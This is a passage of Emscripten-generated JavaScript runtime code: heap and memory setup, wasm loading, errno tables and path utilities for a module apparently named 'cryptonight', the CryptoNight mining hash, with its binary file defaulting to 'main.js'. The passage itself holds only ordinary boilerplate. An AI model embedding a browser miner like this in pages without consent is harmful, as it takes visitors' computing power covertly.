  924.         }
  925.     }
  926.     return err.stack.toString()
  927. }
  928. function stackTrace() {
  929.     var js = jsStackTrace();
  930.     if (Module["extraStackTrace"])
  931.         js += "\n" + Module["extraStackTrace"]();
  932.     return demangleAll(js)
  933. }
  934. Module["stackTrace"] = stackTrace;
  935. var WASM_PAGE_SIZE = 65536;
  936. var ASMJS_PAGE_SIZE = 16777216;
  937. function alignUp(x, multiple) {
  938.     if (x % multiple > 0) {
  939.         x += multiple - x % multiple
  940.     }
  941.     return x
  942. }
  943. var HEAP, buffer, HEAP8, HEAPU8, HEAP16, HEAPU16, HEAP32, HEAPU32, HEAPF32, HEAPF64;
  944. function updateGlobalBuffer(buf) {
  945.     Module["buffer"] = buffer = buf
  946. }
  947. function updateGlobalBufferViews() {
  948.     Module["HEAP8"] = HEAP8 = new Int8Array(buffer);
  949.     Module["HEAP16"] = HEAP16 = new Int16Array(buffer);
  950.     Module["HEAP32"] = HEAP32 = new Int32Array(buffer);
  951.     Module["HEAPU8"] = HEAPU8 = new Uint8Array(buffer);
  952.     Module["HEAPU16"] = HEAPU16 = new Uint16Array(buffer);
  953.     Module["HEAPU32"] = HEAPU32 = new Uint32Array(buffer);
  954.     Module["HEAPF32"] = HEAPF32 = new Float32Array(buffer);
  955.     Module["HEAPF64"] = HEAPF64 = new Float64Array(buffer)
  956. }
  957. var STATIC_BASE, STATICTOP, staticSealed;
  958. var STACK_BASE, STACKTOP, STACK_MAX;
  959. var DYNAMIC_BASE, DYNAMICTOP_PTR;
  960. STATIC_BASE = STATICTOP = STACK_BASE = STACKTOP = STACK_MAX = DYNAMIC_BASE = DYNAMICTOP_PTR = 0;
  961. staticSealed = false;
  962. function abortOnCannotGrowMemory() {
  963.     abort("Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value " + TOTAL_MEMORY + ", (2) compile with -s ALLOW_MEMORY_GROWTH=1 which allows increasing the size at runtime, or (3) if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ")
  964. }
  965. function enlargeMemory() {
  966.     abortOnCannotGrowMemory()
  967. }
  968. var TOTAL_STACK = Module["TOTAL_STACK"] || 5242880;
  969. var TOTAL_MEMORY = Module["TOTAL_MEMORY"] || 16777216;
  970. if (TOTAL_MEMORY < TOTAL_STACK)
  971.     Module.printErr("TOTAL_MEMORY should be larger than TOTAL_STACK, was " + TOTAL_MEMORY + "! (TOTAL_STACK=" + TOTAL_STACK + ")");
  972. if (Module["buffer"]) {
  973.     buffer = Module["buffer"]
  974. } else {
  975.     if (typeof WebAssembly === "object" && typeof WebAssembly.Memory === "function") {
  976.         Module["wasmMemory"] = new WebAssembly.Memory({
  977.             "initial": TOTAL_MEMORY / WASM_PAGE_SIZE,
  978.             "maximum": TOTAL_MEMORY / WASM_PAGE_SIZE
  979.         });
  980.         buffer = Module["wasmMemory"].buffer
  981.     } else {
  982.         buffer = new ArrayBuffer(TOTAL_MEMORY)
  983.     }
  984. }
  985. updateGlobalBufferViews();
  986. function getTotalMemory() {
  987.     return TOTAL_MEMORY
  988. }
  989. HEAP32[0] = 1668509029;
  990. HEAP16[1] = 25459;
  991. if (HEAPU8[2] !== 115 || HEAPU8[3] !== 99)
  992.     throw "Runtime error: expected the system to be little-endian!";
  993. Module["HEAP"] = HEAP;
  994. Module["buffer"] = buffer;
  995. Module["HEAP8"] = HEAP8;
  996. Module["HEAP16"] = HEAP16;
  997. Module["HEAP32"] = HEAP32;
  998. Module["HEAPU8"] = HEAPU8;
  999. Module["HEAPU16"] = HEAPU16;
  1000. Module["HEAPU32"] = HEAPU32;
  1001. Module["HEAPF32"] = HEAPF32;
  1002. Module["HEAPF64"] = HEAPF64;
  1003. function callRuntimeCallbacks(callbacks) {
  1004.     while (callbacks.length > 0) {
  1005.         var callback = callbacks.shift();
  1006.         if (typeof callback == "function") {
  1007.             callback();
  1008.             continue
  1009.         }
  1010.         var func = callback.func;
  1011.         if (typeof func === "number") {
  1012.             if (callback.arg === undefined) {
  1013.                 Module["dynCall_v"](func)
  1014.             } else {
  1015.                 Module["dynCall_vi"](func, callback.arg)
  1016.             }
  1017.         } else {
  1018.             func(callback.arg === undefined ? null : callback.arg)
  1019.         }
  1020.     }
  1021. }
  1022. var __ATPRERUN__ = [];
  1023. var __ATINIT__ = [];
  1024. var __ATMAIN__ = [];
  1025. var __ATEXIT__ = [];
  1026. var __ATPOSTRUN__ = [];
  1027. var runtimeInitialized = false;
  1028. var runtimeExited = false;
  1029. function preRun() {
  1030.     if (Module["preRun"]) {
  1031.         if (typeof Module["preRun"] == "function")
  1032.             Module["preRun"] = [Module["preRun"]];
  1033.         while (Module["preRun"].length) {
  1034.             addOnPreRun(Module["preRun"].shift())
  1035.         }
  1036.     }
  1037.     callRuntimeCallbacks(__ATPRERUN__)
  1038. }
  1039. function ensureInitRuntime() {
  1040.     if (runtimeInitialized)
  1041.         return;
  1042.     runtimeInitialized = true;
  1043.     callRuntimeCallbacks(__ATINIT__)
  1044. }
  1045. function preMain() {
  1046.     callRuntimeCallbacks(__ATMAIN__)
  1047. }
  1048. function exitRuntime() {
  1049.     callRuntimeCallbacks(__ATEXIT__);
  1050.     runtimeExited = true
  1051. }
  1052. function postRun() {
  1053.     if (Module["postRun"]) {
  1054.         if (typeof Module["postRun"] == "function")
  1055.             Module["postRun"] = [Module["postRun"]];
  1056.         while (Module["postRun"].length) {
  1057.             addOnPostRun(Module["postRun"].shift())
  1058.         }
  1059.     }
  1060.     callRuntimeCallbacks(__ATPOSTRUN__)
  1061. }
  1062. function addOnPreRun(cb) {
  1063.     __ATPRERUN__.unshift(cb)
  1064. }
  1065. Module["addOnPreRun"] = addOnPreRun;
  1066. function addOnInit(cb) {
  1067.     __ATINIT__.unshift(cb)
  1068. }
  1069. Module["addOnInit"] = addOnInit;
  1070. function addOnPreMain(cb) {
  1071.     __ATMAIN__.unshift(cb)
  1072. }
  1073. Module["addOnPreMain"] = addOnPreMain;
  1074. function addOnExit(cb) {
  1075.     __ATEXIT__.unshift(cb)
  1076. }
  1077. Module["addOnExit"] = addOnExit;
  1078. function addOnPostRun(cb) {
  1079.     __ATPOSTRUN__.unshift(cb)
  1080. }
  1081. Module["addOnPostRun"] = addOnPostRun;
  1082. function intArrayFromString(stringy, dontAddNull, length) {
  1083.     var len = length > 0 ? length : lengthBytesUTF8(stringy) + 1;
  1084.     var u8array = new Array(len);
  1085.     var numBytesWritten = stringToUTF8Array(stringy, u8array, 0, u8array.length);
  1086.     if (dontAddNull)
  1087.         u8array.length = numBytesWritten;
  1088.     return u8array
  1089. }
  1090. Module["intArrayFromString"] = intArrayFromString;
  1091. function intArrayToString(array) {
  1092.     var ret = [];
  1093.     for (var i = 0; i < array.length; i++) {
  1094.         var chr = array[i];
  1095.         if (chr > 255) {
  1096.             chr &= 255
  1097.         }
  1098.         ret.push(String.fromCharCode(chr))
  1099.     }
  1100.     return ret.join("")
  1101. }
  1102. Module["intArrayToString"] = intArrayToString;
  1103. function writeStringToMemory(string, buffer, dontAddNull) {
  1104.     Runtime.warnOnce("writeStringToMemory is deprecated and should not be called! Use stringToUTF8() instead!");
  1105.     var lastChar, end;
  1106.     if (dontAddNull) {
  1107.         end = buffer + lengthBytesUTF8(string);
  1108.         lastChar = HEAP8[end]
  1109.     }
  1110.     stringToUTF8(string, buffer, Infinity);
  1111.     if (dontAddNull)
  1112.         HEAP8[end] = lastChar
  1113. }
  1114. Module["writeStringToMemory"] = writeStringToMemory;
  1115. function writeArrayToMemory(array, buffer) {
  1116.     HEAP8.set(array, buffer)
  1117. }
  1118. Module["writeArrayToMemory"] = writeArrayToMemory;
  1119. function writeAsciiToMemory(str, buffer, dontAddNull) {
  1120.     for (var i = 0; i < str.length; ++i) {
  1121.         HEAP8[buffer++ >> 0] = str.charCodeAt(i)
  1122.     }
  1123.     if (!dontAddNull)
  1124.         HEAP8[buffer >> 0] = 0
  1125. }
  1126. Module["writeAsciiToMemory"] = writeAsciiToMemory;
  1127. if (!Math["imul"] || Math["imul"](4294967295, 5) !== -5)
  1128.     Math["imul"] = function imul(a, b) {
  1129.         var ah = a >>> 16;
  1130.         var al = a & 65535;
  1131.         var bh = b >>> 16;
  1132.         var bl = b & 65535;
  1133.         return al * bl + (ah * bl + al * bh << 16) | 0
  1134.     }
  1135.     ;
  1136. Math.imul = Math["imul"];
  1137. if (!Math["fround"]) {
  1138.     var froundBuffer = new Float32Array(1);
  1139.     Math["fround"] = (function(x) {
  1140.         froundBuffer[0] = x;
  1141.         return froundBuffer[0]
  1142.     }
  1143.     )
  1144. }
  1145. Math.fround = Math["fround"];
  1146. if (!Math["clz32"])
  1147.     Math["clz32"] = (function(x) {
  1148.         x = x >>> 0;
  1149.         for (var i = 0; i < 32; i++) {
  1150.             if (x & 1 << 31 - i)
  1151.                 return i
  1152.         }
  1153.         return 32
  1154.     }
  1155.     );
  1156. Math.clz32 = Math["clz32"];
  1157. if (!Math["trunc"])
  1158.     Math["trunc"] = (function(x) {
  1159.         return x < 0 ? Math.ceil(x) : Math.floor(x)
  1160.     }
  1161.     );
  1162. Math.trunc = Math["trunc"];
  1163. var Math_abs = Math.abs;
  1164. var Math_cos = Math.cos;
  1165. var Math_sin = Math.sin;
  1166. var Math_tan = Math.tan;
  1167. var Math_acos = Math.acos;
  1168. var Math_asin = Math.asin;
  1169. var Math_atan = Math.atan;
  1170. var Math_atan2 = Math.atan2;
  1171. var Math_exp = Math.exp;
  1172. var Math_log = Math.log;
  1173. var Math_sqrt = Math.sqrt;
  1174. var Math_ceil = Math.ceil;
  1175. var Math_floor = Math.floor;
  1176. var Math_pow = Math.pow;
  1177. var Math_imul = Math.imul;
  1178. var Math_fround = Math.fround;
  1179. var Math_round = Math.round;
  1180. var Math_min = Math.min;
  1181. var Math_clz32 = Math.clz32;
  1182. var Math_trunc = Math.trunc;
  1183. var runDependencies = 0;
  1184. var runDependencyWatcher = null;
  1185. var dependenciesFulfilled = null;
  1186. function getUniqueRunDependency(id) {
  1187.     return id
  1188. }
  1189. function addRunDependency(id) {
  1190.     runDependencies++;
  1191.     if (Module["monitorRunDependencies"]) {
  1192.         Module["monitorRunDependencies"](runDependencies)
  1193.     }
  1194. }
  1195. Module["addRunDependency"] = addRunDependency;
  1196. function removeRunDependency(id) {
  1197.     runDependencies--;
  1198.     if (Module["monitorRunDependencies"]) {
  1199.         Module["monitorRunDependencies"](runDependencies)
  1200.     }
  1201.     if (runDependencies == 0) {
  1202.         if (runDependencyWatcher !== null) {
  1203.             clearInterval(runDependencyWatcher);
  1204.             runDependencyWatcher = null
  1205.         }
  1206.         if (dependenciesFulfilled) {
  1207.             var callback = dependenciesFulfilled;
  1208.             dependenciesFulfilled = null;
  1209.             callback()
  1210.         }
  1211.     }
  1212. }
  1213. Module["removeRunDependency"] = removeRunDependency;
  1214. Module["preloadedImages"] = {};
  1215. Module["preloadedAudios"] = {};
  1216. var memoryInitializer = null;
  1217. function integrateWasmJS(Module) {
  1218.     var method = Module["wasmJSMethod"] || "native-wasm";
  1219.     Module["wasmJSMethod"] = method;
  1220.     var wasmTextFile = Module["wasmTextFile"] || "cryptonight.wast";
  1221.     var wasmBinaryFile = Module["wasmBinaryFile"] || "main.js";
  1222.     var asmjsCodeFile = Module["asmjsCodeFile"] || "cryptonight.temp.asm.js";
  1223.     if (typeof Module["locateFile"] === "function") {
  1224.         wasmTextFile = Module["locateFile"](wasmTextFile);
  1225.         wasmBinaryFile = Module["locateFile"](wasmBinaryFile);
  1226.         asmjsCodeFile = Module["locateFile"](asmjsCodeFile)
  1227.     }
  1228.     var wasmPageSize = 64 * 1024;
  1229.     var asm2wasmImports = {
  1230.         "f64-rem": (function(x, y) {
  1231.             return x % y
  1232.         }
  1233.         ),
  1234.         "f64-to-int": (function(x) {
  1235.             return x | 0
  1236.         }
  1237.         ),
  1238.         "i32s-div": (function(x, y) {
  1239.             return (x | 0) / (y | 0) | 0
  1240.         }
  1241.         ),
  1242.         "i32u-div": (function(x, y) {
  1243.             return (x >>> 0) / (y >>> 0) >>> 0
  1244.         }
  1245.         ),
  1246.         "i32s-rem": (function(x, y) {
  1247.             return (x | 0) % (y | 0) | 0
  1248.         }
  1249.         ),
  1250.         "i32u-rem": (function(x, y) {
  1251.             return (x >>> 0) % (y >>> 0) >>> 0
  1252.         }
  1253.         ),
  1254.         "debugger": (function() {
  1255.             debugger
  1256.         }
  1257.         )
  1258.     };
  1259.     var info = {
  1260.         "global": null,
  1261.         "env": null,
  1262.         "asm2wasm": asm2wasmImports,
  1263.         "parent": Module
  1264.     };
  1265.     var exports = null;
  1266.     function lookupImport(mod, base) {
  1267.         var lookup = info;
  1268.         if (mod.indexOf(".") < 0) {
  1269.             lookup = (lookup || {})[mod]
  1270.         } else {
  1271.             var parts = mod.split(".");
  1272.             lookup = (lookup || {})[parts[0]];
  1273.             lookup = (lookup || {})[parts[1]]
  1274.         }
  1275.         if (base) {
  1276.             lookup = (lookup || {})[base]
  1277.         }
  1278.         if (lookup === undefined) {
  1279.             abort("bad lookupImport to (" + mod + ")." + base)
  1280.         }
  1281.         return lookup
  1282.     }
  1283.     function mergeMemory(newBuffer) {
  1284.         var oldBuffer = Module["buffer"];
  1285.         if (newBuffer.byteLength < oldBuffer.byteLength) {
  1286.             Module["printErr"]("the new buffer in mergeMemory is smaller than the previous one. in native wasm, we should grow memory here")
  1287.         }
  1288.         var oldView = new Int8Array(oldBuffer);
  1289.         var newView = new Int8Array(newBuffer);
  1290.         if (!memoryInitializer) {
  1291.             oldView.set(newView.subarray(Module["STATIC_BASE"], Module["STATIC_BASE"] + Module["STATIC_BUMP"]), Module["STATIC_BASE"])
  1292.         }
  1293.         newView.set(oldView);
  1294.         updateGlobalBuffer(newBuffer);
  1295.         updateGlobalBufferViews()
  1296.     }
  1297.     var WasmTypes = {
  1298.         none: 0,
  1299.         i32: 1,
  1300.         i64: 2,
  1301.         f32: 3,
  1302.         f64: 4
  1303.     };
  1304.     function fixImports(imports) {
  1305.         if (!0)
  1306.             return imports;
  1307.         var ret = {};
  1308.         for (var i in imports) {
  1309.             var fixed = i;
  1310.             if (fixed[0] == "_")
  1311.                 fixed = fixed.substr(1);
  1312.             ret[fixed] = imports[i]
  1313.         }
  1314.         return ret
  1315.     }
  1316.     function getBinary() {
  1317.         try {
  1318.             var binary;
  1319.             if (Module["wasmBinary"]) {
  1320.                 binary = Module["wasmBinary"];
  1321.                 binary = new Uint8Array(binary)
  1322.             } else if (Module["readBinary"]) {
  1323.                 binary = Module["readBinary"](wasmBinaryFile)
  1324.             } else {
  1325.                 throw "on the web, we need the wasm binary to be preloaded and set on Module['wasmBinary']. emcc.py will do that for you when generating HTML (but not JS)"
  1326.             }
  1327.             return binary
  1328.         } catch (err) {
  1329.             abort(err)
  1330.         }
  1331.     }
  1332.     function getBinaryPromise() {
  1333.         if (!Module["wasmBinary"] && typeof fetch === "function") {
  1334.             return fetch(wasmBinaryFile, {
  1335.                 credentials: "same-origin"
  1336.             }).then((function(response) {
  1337.                 if (!response["ok"]) {
  1338.                     throw "failed to load wasm binary file at '" + wasmBinaryFile + "'"
  1339.                 }
  1340.                 return response["arrayBuffer"]()
  1341.             }
  1342.             ))
  1343.         }
  1344.         return new Promise((function(resolve, reject) {
  1345.             resolve(getBinary())
  1346.         }
  1347.         ))
  1348.     }
  1349.     function doNativeWasm(global, env, providedBuffer) {
  1350.         if (typeof WebAssembly !== "object") {
  1351.             Module["printErr"]("no native wasm support detected");
  1352.             return false
  1353.         }
  1354.         if (!(Module["wasmMemory"]instanceof WebAssembly.Memory)) {
  1355.             Module["printErr"]("no native wasm Memory in use");
  1356.             return false
  1357.         }
  1358.         env["memory"] = Module["wasmMemory"];
  1359.         info["global"] = {
  1360.             "NaN": NaN,
  1361.             "Infinity": Infinity
  1362.         };
  1363.         info["global.Math"] = global.Math;
  1364.         info["env"] = env;
  1365.         function receiveInstance(instance) {
  1366.             exports = instance.exports;
  1367.             if (exports.memory)
  1368.                 mergeMemory(exports.memory);
  1369.             Module["asm"] = exports;
  1370.             Module["usingWasm"] = true;
  1371.             removeRunDependency("wasm-instantiate")
  1372.         }
  1373.         addRunDependency("wasm-instantiate");
  1374.         if (Module["instantiateWasm"]) {
  1375.             try {
  1376.                 return Module["instantiateWasm"](info, receiveInstance)
  1377.             } catch (e) {
  1378.                 Module["printErr"]("Module.instantiateWasm callback failed with error: " + e);
  1379.                 return false
  1380.             }
  1381.         }
  1382.         getBinaryPromise().then((function(binary) {
  1383.             return WebAssembly.instantiate(binary, info)
  1384.         }
  1385.         )).then((function(output) {
  1386.             receiveInstance(output["instance"])
  1387.         }
  1388.         )).catch((function(reason) {
  1389.             Module["printErr"]("failed to asynchronously prepare wasm: " + reason);
  1390.             abort(reason)
  1391.         }
  1392.         ));
  1393.         return {}
  1394.     }
  1395.     Module["asmPreload"] = Module["asm"];
  1396.     var asmjsReallocBuffer = Module["reallocBuffer"];
  1397.     var wasmReallocBuffer = (function(size) {
  1398.         var PAGE_MULTIPLE = Module["usingWasm"] ? WASM_PAGE_SIZE : ASMJS_PAGE_SIZE;
  1399.         size = alignUp(size, PAGE_MULTIPLE);
  1400.         var old = Module["buffer"];
  1401.         var oldSize = old.byteLength;
  1402.         if (Module["usingWasm"]) {
  1403.             try {
  1404.                 var result = Module["wasmMemory"].grow((size - oldSize) / wasmPageSize);
  1405.                 if (result !== (-1 | 0)) {
  1406.                     return Module["buffer"] = Module["wasmMemory"].buffer
  1407.                 } else {
  1408.                     return null
  1409.                 }
  1410.             } catch (e) {
  1411.                 return null
  1412.             }
  1413.         } else {
  1414.             exports["__growWasmMemory"]((size - oldSize) / wasmPageSize);
  1415.             return Module["buffer"] !== old ? Module["buffer"] : null
  1416.         }
  1417.     }
  1418.     );
  1419.     Module["reallocBuffer"] = (function(size) {
  1420.         if (finalMethod === "asmjs") {
  1421.             return asmjsReallocBuffer(size)
  1422.         } else {
  1423.             return wasmReallocBuffer(size)
  1424.         }
  1425.     }
  1426.     );
  1427.     var finalMethod = "";
  1428.     Module["asm"] = (function(global, env, providedBuffer) {
  1429.         global = fixImports(global);
  1430.         env = fixImports(env);
  1431.         if (!env["table"]) {
  1432.             var TABLE_SIZE = Module["wasmTableSize"];
  1433.             if (TABLE_SIZE === undefined)
  1434.                 TABLE_SIZE = 1024;
  1435.             var MAX_TABLE_SIZE = Module["wasmMaxTableSize"];
  1436.             if (typeof WebAssembly === "object" && typeof WebAssembly.Table === "function") {
  1437.                 if (MAX_TABLE_SIZE !== undefined) {
  1438.                     env["table"] = new WebAssembly.Table({
  1439.                         "initial": TABLE_SIZE,
  1440.                         "maximum": MAX_TABLE_SIZE,
  1441.                         "element": "anyfunc"
  1442.                     })
  1443.                 } else {
  1444.                     env["table"] = new WebAssembly.Table({
  1445.                         "initial": TABLE_SIZE,
  1446.                         element: "anyfunc"
  1447.                     })
  1448.                 }
  1449.             } else {
  1450.                 env["table"] = new Array(TABLE_SIZE)
  1451.             }
  1452.             Module["wasmTable"] = env["table"]
  1453.         }
  1454.         if (!env["memoryBase"]) {
  1455.             env["memoryBase"] = Module["STATIC_BASE"]
  1456.         }
  1457.         if (!env["tableBase"]) {
  1458.             env["tableBase"] = 0
  1459.         }
  1460.         var exports;
  1461.         exports = doNativeWasm(global, env, providedBuffer);
  1462.         return exports
  1463.     }
  1464.     );
  1465.     var methodHandler = Module["asm"]
  1466. }
  1467. integrateWasmJS(Module);
  1468. var ASM_CONSTS = [];
  1469. STATIC_BASE = Runtime.GLOBAL_BASE;
  1470. STATICTOP = STATIC_BASE + 12512;
  1471. __ATINIT__.push();
  1472. memoryInitializer = Module["wasmJSMethod"].indexOf("asmjs") >= 0 || Module["wasmJSMethod"].indexOf("interpret-asm2wasm") >= 0 ? "cryptonight.js.mem" : null;
  1473. var STATIC_BUMP = 12512;
  1474. Module["STATIC_BASE"] = STATIC_BASE;
  1475. Module["STATIC_BUMP"] = STATIC_BUMP;
  1476. var tempDoublePtr = STATICTOP;
  1477. STATICTOP += 16;
  1478. function ___assert_fail(condition, filename, line, func) {
  1479.     ABORT = true;
  1480.     throw "Assertion failed: " + Pointer_stringify(condition) + ", at: " + [filename ? Pointer_stringify(filename) : "unknown filename", line, func ? Pointer_stringify(func) : "unknown function"] + " at " + stackTrace()
  1481. }
  1482. var PROCINFO = {
  1483.     ppid: 1,
  1484.     pid: 42,
  1485.     sid: 42,
  1486.     pgid: 42
  1487. };
  1488. var ERRNO_CODES = {
  1489.     EPERM: 1,
  1490.     ENOENT: 2,
  1491.     ESRCH: 3,
  1492.     EINTR: 4,
  1493.     EIO: 5,
  1494.     ENXIO: 6,
  1495.     E2BIG: 7,
  1496.     ENOEXEC: 8,
  1497.     EBADF: 9,
  1498.     ECHILD: 10,
  1499.     EAGAIN: 11,
  1500.     EWOULDBLOCK: 11,
  1501.     ENOMEM: 12,
  1502.     EACCES: 13,
  1503.     EFAULT: 14,
  1504.     ENOTBLK: 15,
  1505.     EBUSY: 16,
  1506.     EEXIST: 17,
  1507.     EXDEV: 18,
  1508.     ENODEV: 19,
  1509.     ENOTDIR: 20,
  1510.     EISDIR: 21,
  1511.     EINVAL: 22,
  1512.     ENFILE: 23,
  1513.     EMFILE: 24,
  1514.     ENOTTY: 25,
  1515.     ETXTBSY: 26,
  1516.     EFBIG: 27,
  1517.     ENOSPC: 28,
  1518.     ESPIPE: 29,
  1519.     EROFS: 30,
  1520.     EMLINK: 31,
  1521.     EPIPE: 32,
  1522.     EDOM: 33,
  1523.     ERANGE: 34,
  1524.     ENOMSG: 42,
  1525.     EIDRM: 43,
  1526.     ECHRNG: 44,
  1527.     EL2NSYNC: 45,
  1528.     EL3HLT: 46,
  1529.     EL3RST: 47,
  1530.     ELNRNG: 48,
  1531.     EUNATCH: 49,
  1532.     ENOCSI: 50,
  1533.     EL2HLT: 51,
  1534.     EDEADLK: 35,
  1535.     ENOLCK: 37,
  1536.     EBADE: 52,
  1537.     EBADR: 53,
  1538.     EXFULL: 54,
  1539.     ENOANO: 55,
  1540.     EBADRQC: 56,
  1541.     EBADSLT: 57,
  1542.     EDEADLOCK: 35,
  1543.     EBFONT: 59,
  1544.     ENOSTR: 60,
  1545.     ENODATA: 61,
  1546.     ETIME: 62,
  1547.     ENOSR: 63,
  1548.     ENONET: 64,
  1549.     ENOPKG: 65,
  1550.     EREMOTE: 66,
  1551.     ENOLINK: 67,
  1552.     EADV: 68,
  1553.     ESRMNT: 69,
  1554.     ECOMM: 70,
  1555.     EPROTO: 71,
  1556.     EMULTIHOP: 72,
  1557.     EDOTDOT: 73,
  1558.     EBADMSG: 74,
  1559.     ENOTUNIQ: 76,
  1560.     EBADFD: 77,
  1561.     EREMCHG: 78,
  1562.     ELIBACC: 79,
  1563.     ELIBBAD: 80,
  1564.     ELIBSCN: 81,
  1565.     ELIBMAX: 82,
  1566.     ELIBEXEC: 83,
  1567.     ENOSYS: 38,
  1568.     ENOTEMPTY: 39,
  1569.     ENAMETOOLONG: 36,
  1570.     ELOOP: 40,
  1571.     EOPNOTSUPP: 95,
  1572.     EPFNOSUPPORT: 96,
  1573.     ECONNRESET: 104,
  1574.     ENOBUFS: 105,
  1575.     EAFNOSUPPORT: 97,
  1576.     EPROTOTYPE: 91,
  1577.     ENOTSOCK: 88,
  1578.     ENOPROTOOPT: 92,
  1579.     ESHUTDOWN: 108,
  1580.     ECONNREFUSED: 111,
  1581.     EADDRINUSE: 98,
  1582.     ECONNABORTED: 103,
  1583.     ENETUNREACH: 101,
  1584.     ENETDOWN: 100,
  1585.     ETIMEDOUT: 110,
  1586.     EHOSTDOWN: 112,
  1587.     EHOSTUNREACH: 113,
  1588.     EINPROGRESS: 115,
  1589.     EALREADY: 114,
  1590.     EDESTADDRREQ: 89,
  1591.     EMSGSIZE: 90,
  1592.     EPROTONOSUPPORT: 93,
  1593.     ESOCKTNOSUPPORT: 94,
  1594.     EADDRNOTAVAIL: 99,
  1595.     ENETRESET: 102,
  1596.     EISCONN: 106,
  1597.     ENOTCONN: 107,
  1598.     ETOOMANYREFS: 109,
  1599.     EUSERS: 87,
  1600.     EDQUOT: 122,
  1601.     ESTALE: 116,
  1602.     ENOTSUP: 95,
  1603.     ENOMEDIUM: 123,
  1604.     EILSEQ: 84,
  1605.     EOVERFLOW: 75,
  1606.     ECANCELED: 125,
  1607.     ENOTRECOVERABLE: 131,
  1608.     EOWNERDEAD: 130,
  1609.     ESTRPIPE: 86
  1610. };
  1611. var ERRNO_MESSAGES = {
  1612.     0: "Success",
  1613.     1: "Not super-user",
  1614.     2: "No such file or directory",
  1615.     3: "No such process",
  1616.     4: "Interrupted system call",
  1617.     5: "I/O error",
  1618.     6: "No such device or address",
  1619.     7: "Arg list too long",
  1620.     8: "Exec format error",
  1621.     9: "Bad file number",
  1622.     10: "No children",
  1623.     11: "No more processes",
  1624.     12: "Not enough core",
  1625.     13: "Permission denied",
  1626.     14: "Bad address",
  1627.     15: "Block device required",
  1628.     16: "Mount device busy",
  1629.     17: "File exists",
  1630.     18: "Cross-device link",
  1631.     19: "No such device",
  1632.     20: "Not a directory",
  1633.     21: "Is a directory",
  1634.     22: "Invalid argument",
  1635.     23: "Too many open files in system",
  1636.     24: "Too many open files",
  1637.     25: "Not a typewriter",
  1638.     26: "Text file busy",
  1639.     27: "File too large",
  1640.     28: "No space left on device",
  1641.     29: "Illegal seek",
  1642.     30: "Read only file system",
  1643.     31: "Too many links",
  1644.     32: "Broken pipe",
  1645.     33: "Math arg out of domain of func",
  1646.     34: "Math result not representable",
  1647.     35: "File locking deadlock error",
  1648.     36: "File or path name too long",
  1649.     37: "No record locks available",
  1650.     38: "Function not implemented",
  1651.     39: "Directory not empty",
  1652.     40: "Too many symbolic links",
  1653.     42: "No message of desired type",
  1654.     43: "Identifier removed",
  1655.     44: "Channel number out of range",
  1656.     45: "Level 2 not synchronized",
  1657.     46: "Level 3 halted",
  1658.     47: "Level 3 reset",
  1659.     48: "Link number out of range",
  1660.     49: "Protocol driver not attached",
  1661.     50: "No CSI structure available",
  1662.     51: "Level 2 halted",
  1663.     52: "Invalid exchange",
  1664.     53: "Invalid request descriptor",
  1665.     54: "Exchange full",
  1666.     55: "No anode",
  1667.     56: "Invalid request code",
  1668.     57: "Invalid slot",
  1669.     59: "Bad font file fmt",
  1670.     60: "Device not a stream",
  1671.     61: "No data (for no delay io)",
  1672.     62: "Timer expired",
  1673.     63: "Out of streams resources",
  1674.     64: "Machine is not on the network",
  1675.     65: "Package not installed",
  1676.     66: "The object is remote",
  1677.     67: "The link has been severed",
  1678.     68: "Advertise error",
  1679.     69: "Srmount error",
  1680.     70: "Communication error on send",
  1681.     71: "Protocol error",
  1682.     72: "Multihop attempted",
  1683.     73: "Cross mount point (not really error)",
  1684.     74: "Trying to read unreadable message",
  1685.     75: "Value too large for defined data type",
  1686.     76: "Given log. name not unique",
  1687.     77: "f.d. invalid for this operation",
  1688.     78: "Remote address changed",
  1689.     79: "Can access a needed shared lib",
  1690.     80: "Accessing a corrupted shared lib",
  1691.     81: ".lib section in a.out corrupted",
  1692.     82: "Attempting to link in too many libs",
  1693.     83: "Attempting to exec a shared library",
  1694.     84: "Illegal byte sequence",
  1695.     86: "Streams pipe error",
  1696.     87: "Too many users",
  1697.     88: "Socket operation on non-socket",
  1698.     89: "Destination address required",
  1699.     90: "Message too long",
  1700.     91: "Protocol wrong type for socket",
  1701.     92: "Protocol not available",
  1702.     93: "Unknown protocol",
  1703.     94: "Socket type not supported",
  1704.     95: "Not supported",
  1705.     96: "Protocol family not supported",
  1706.     97: "Address family not supported by protocol family",
  1707.     98: "Address already in use",
  1708.     99: "Address not available",
  1709.     100: "Network interface is not configured",
  1710.     101: "Network is unreachable",
  1711.     102: "Connection reset by network",
  1712.     103: "Connection aborted",
  1713.     104: "Connection reset by peer",
  1714.     105: "No buffer space available",
  1715.     106: "Socket is already connected",
  1716.     107: "Socket is not connected",
  1717.     108: "Can't send after socket shutdown",
  1718.     109: "Too many references",
  1719.     110: "Connection timed out",
  1720.     111: "Connection refused",
  1721.     112: "Host is down",
  1722.     113: "Host is unreachable",
  1723.     114: "Socket already connected",
  1724.     115: "Connection already in progress",
  1725.     116: "Stale file handle",
  1726.     122: "Quota exceeded",
  1727.     123: "No medium (in tape drive)",
  1728.     125: "Operation canceled",
  1729.     130: "Previous owner died",
  1730.     131: "State not recoverable"
  1731. };
  1732. function ___setErrNo(value) {
  1733.     if (Module["___errno_location"])
  1734.         HEAP32[Module["___errno_location"]() >> 2] = value;
  1735.     return value
  1736. }
  1737. var PATH = {
  1738.     splitPath: (function(filename) {
  1739.         var splitPathRe = /^(\/?|)([\s\S]*?)((?:\.{1,2}|[^\/]+?|)(\.[^.\/]*|))(?:[\/]*)$/;
  1740.         return splitPathRe.exec(filename).slice(1)
  1741.     }
  1742.     ),
  1743.     normalizeArray: (function(parts, allowAboveRoot) {
  1744.         var up = 0;
  1745.         for (var i = parts.length - 1; i >= 0; i--) {
  1746.             var last = parts[i];
  1747.             if (last === ".") {
  1748.                 parts.splice(i, 1)
  1749.             } else if (last === "..") {
  1750.                 parts.splice(i, 1);
  1751.                 up++
  1752.             } else if (up) {
  1753.                 parts.splice(i, 1);
  1754.                 up--
  1755.             }
  1756.         }
  1757.         if (allowAboveRoot) {
  1758.             for (; up; up--) {
  1759.                 parts.unshift("..")
  1760.             }
  1761.         }
  1762.         return parts
  1763.     }
  1764.     ),
  1765.     normalize: (function(path) {
  1766.         var isAbsolute = path.charAt(0) === "/"
  1767.           , trailingSlash = path.substr(-1) === "/";
  1768.         path = PATH.normalizeArray(path.split("/").filter((function(p) {
  1769.             return !!p
  1770.         }
